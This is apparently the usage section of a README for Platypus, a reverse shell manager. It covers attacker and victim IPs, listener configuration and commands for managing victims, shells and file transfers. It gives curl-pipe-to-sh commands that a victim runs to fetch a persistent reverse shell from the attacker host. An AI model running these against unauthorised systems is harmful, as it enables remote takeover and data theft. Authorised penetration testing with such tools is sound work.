Usage

Network Topology

• Attack IP: 192.168.88.129
  • Reverse Shell Service: 0.0.0.0:13337
  • Reverse Shell Service: 0.0.0.0:13338
  • RESTful Service: 127.0.0.1:7331
• Victim IP: 192.168.88.130

Give it a try

First, run ./Platypus, then the config.yml will be generated automatically, and the config file is simple enough.

servers: 
  - host: "0.0.0.0"
    port: 13337
    # Platypus is able to use several properties as unique identifier (primirary key) of a single client.
    # All available properties are listed below:
    # `%i` IP
    # `%u` Username
    # `%m` MAC address
    # `%o` Operating System
    # `%t` Income TimeStamp
    hashFormat: "%i %u %m %o"
  - host: "0.0.0.0"
    port: 13338
    # Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC.
    hashFormat: "%i %u %m %o %t"
restful:
  host: "127.0.0.1"
  port: 7331
  enable: true
# Check new releases from GitHub when starting Platypus
update: false

As you can see, platypus will check for updates, then start listening on port 13337, 13338 and 7331

The three port have different aims.

• 13337 Reverse shell server, which disallows the reverse session comes from the IP.
• 13338 Reverse shell server, which allows the reverse session comes from the IP.
• 7331 Platypus RESTful API EndPoint, which allows you to manipulate Platypus through HTTP protocol or Python SDK.

If you want another reverse shell listening port, just type Run 0.0.0.0 1339 or modify the config.yml.

Also, platypus will print help information about RaaS which release you from remembering tedious reverse shell commands.

With platypus, all you have to do is just copy-and-paste the curl command and execute it on the victim machine.

curl http://127.0.0.1:13337/|sh
curl http://192.168.88.129:13337/|sh

Now, suppose that the victim is attacked by the attacker and a reverse shell command will be executed on the machine of victim.

Notice, the RaaS feature ensure that the reverse shell process is running in background and ignore the hangup signal.

Get start with Web UI

Manage listening port

Wait for client connection

Popup an interactive shell

Upgrade a reverse shell to an encrypted channel (Termite)

Get start with cli

List all victims

You can use List command to print table style infomation about all listening servers and connected clients. Notice that the port 13337 will reset the connection from the same machine (we consider two connection are same iff they share the same Hash value, the info being hash can be configured in config.yml). Port 13338 will not reset such connections, which provide more repliability.

Select a victim

Jump command can take you a tour between clients. Use Jump [HASH / Alias] to jump. Alias is a alias of a specific client, you can set a alias of a client via Alias [ALIAS]. Also, for jumping through HASH, you do not need to type the whole hash, just prefix of hash will work.

All commands are case insensitive, feel free to use tab for completing.

Interactive shell

Interact will popup a shell, just like netcat.

Download file

Use Download command to download file from reverse shell client to attacker's machine.

Upload file

Use Upload command to upload file to the current interacting client.

Interactive shell mode

This feature only works on *nix clients

For your user experience, we highly RECOMMEND you use Upgrade command to upgrade the plain reverse shell to a encrypted interactive shell.

Try to Spawn /bin/bash via Python, then the shell is fully interactive (You can use vim / htop and other stuffs). First use Jump to select a client, then type PTY, then type Interact to drop into a fully interactive shell. You can just simply type exit to exit pty mode, to avoid the situation in issue #39, you can use platyquit to quit the fully interactive shell mode.
